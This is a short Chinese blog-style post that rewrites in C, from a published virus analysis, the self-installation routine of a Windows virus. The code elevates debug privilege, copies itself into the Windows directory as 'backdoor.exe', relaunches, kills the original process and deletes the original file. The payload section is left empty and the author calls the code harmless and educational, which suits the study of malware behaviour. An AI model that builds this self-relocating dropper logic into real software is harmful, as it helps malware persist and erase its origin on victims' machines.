很早之前写的代码(和对应的文章),也不知道还能不能正常运行了,并没有在现在的 Win10 下进行测试。以下代码都是 Win32 PSDK 的东西非常的简单,代码来自另外的一篇文章,就是一篇关于病毒分析的文章。
根据这篇病毒分析的文章有了下面的代码。虽然我们没有病毒的源代码,但是我们通过反汇编进行了分析,分析完理解了,那么写出等价代码是可以的。
下面首先写了几个自定义函数,这些函数都是比较常用的函数,比如调整进程的权限、获取指定进程的 PID、结束指定的进程。这些功能是有套路的,只要了解了相关的 API 就可以完成。代码如下:
// 调整权限
VOID DebugPrivilege()
{
HANDLE hToken = NULL;
BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (bRet == TRUE)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
// 获得某进程的 PID
DWORD GetProcessId(char *szProcessName)
{
DWORD dwPid = 0;
BOOL bRet = 0;
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize =sizeof(PROCESSENTRY32);
HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
bRet = Process32First(hSnap,&pe32);
while (bRet)
{
if (strcmp(pe32.szExeFile, szProcessName) == 0)
{
break;
}
bRet =Process32Next(hSnap, &pe32);
}
dwPid =pe32.th32ProcessID;
return dwPid;
}
// 结束某进程
VOID CloseProcess(DWORD dwPid)
{
HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:
int main(int argc, char **argv)
{
// Windows目录
char szWinDir[MAX_PATH] ={ 0 };
// 当前目录
char szCurrDir[MAX_PATH] ={ 0 };
GetWindowsDirectory(szWinDir, MAX_PATH);
GetModuleFileName(NULL,szCurrDir, MAX_PATH);
// 获取当前的目录
int ch = '\\';
char *pFileName =strrchr(szCurrDir, ch);
int nLen =strlen(szCurrDir) - strlen(pFileName);
szCurrDir[nLen] = NULL;
if (strcmp(szWinDir,szCurrDir) == 0)
{
// 相同目录
// 判断参数个数
// 根据参数个数判断是否需要删除原病毒文件
// 如果病毒是开机自动启动的话,不会带有参数
printf("argc = %d\r\n", argc);
if (argc == 2)
{
ch = '\\';
pFileName =strrchr(argv[1], ch);
pFileName ++;
printf("pFileName = %s \r\n", pFileName);
DWORD dwPid =GetProcessId(pFileName);
printf("dwPid= %d \r\n", dwPid);
DebugPrivilege();
CloseProcess(dwPid);
pFileName =argv[1];
printf("pFileName = %s \r\n", pFileName);
Sleep(3000);
DeleteFile(pFileName);
}
else
{
// 病毒的功能代码
}
}
else
{
// 不同目录,说明是第一次运行
// 复制自身到windows目录里下
strcat(szWinDir,"\\backdoor.exe");
GetModuleFileName(NULL, szCurrDir, MAX_PATH);
CopyFile(szCurrDir,szWinDir, FALSE);
// 构造要运行windows目录下的病毒
// 以及要传递的自身位置
strcat(szWinDir," \"");
strcat(szWinDir,szCurrDir);
strcat(szWinDir,"\"");
printf("%s\r\n", szWinDir);
WinExec(szWinDir, SW_SHOW);
Sleep(1000);
}
// getch()模拟病毒的动作
// 保持病毒进程不退出
getch();
return 0;
}
整个代码没有任何破坏性,只是复制到系统盘中,然后启动系统盘的文件,将复制前的那个文件删除掉。对于常见的这些应用层下的病毒大体都是会用到上面提到的 API 函数。掌握这些知识并不能进行作恶,因为这只是刚刚开始,连门都没有进入。
评论